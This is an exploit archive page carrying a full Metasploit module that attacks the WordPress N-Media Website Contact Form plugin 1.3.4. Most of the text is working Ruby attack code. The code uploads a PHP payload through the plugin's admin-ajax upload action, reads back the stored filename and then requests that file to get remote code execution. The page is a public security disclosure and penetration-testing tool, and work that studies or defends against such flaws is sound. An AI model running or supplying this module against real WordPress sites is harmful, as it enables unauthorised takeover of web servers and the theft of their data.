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WordPress N-Media Website Contact Form Upload

WordPress N-Media Website Contact Form Upload
Posted Apr 19, 2015
Authored by Claudio Viviani | Site metasploit.com

This Metasploit module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution.

tags | exploit, remote, arbitrary, php, code execution, file upload
MD5 | f48296e18e9f4421ac086119c662d7d7

WordPress N-Media Website Contact Form Upload

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress N-Media Website Contact Form Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form
plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution.
},
'Author' =>
[
'Claudio Viviani', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'],
['WPVDB', '7896']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['N-Media WebSite Contact Form 1.3.4', {}]],
'DisclosureDate' => 'Apr 12 2015',
'DefaultTarget' => 0)
)
end

def check
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')
end

def exploit
php_pagename = rand_text_alpha(4 + rand(4)) + '.php'

data = Rex::MIME::Message.new
data.add_part('upload', nil, nil, 'form-data; name="action"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{php_pagename}\"")
data.add_part('nm_webcontact_upload_file', nil, nil, 'form-data; name="action"')
post_data = data.to_s

res = send_request_cgi({
'uri' => wordpress_url_admin_ajax,
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if res
if res.code == 200 && res.body =~ /filename/
begin
new_php_pagename = JSON.parse(res.body)["filename"]
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Unable to parse JSON data for the filename')
end
print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
register_files_for_cleanup(new_php_pagename)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown,'ERROR')
end

print_status("#{peer} - Calling payload...")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', new_php_pagename)
)
end
end

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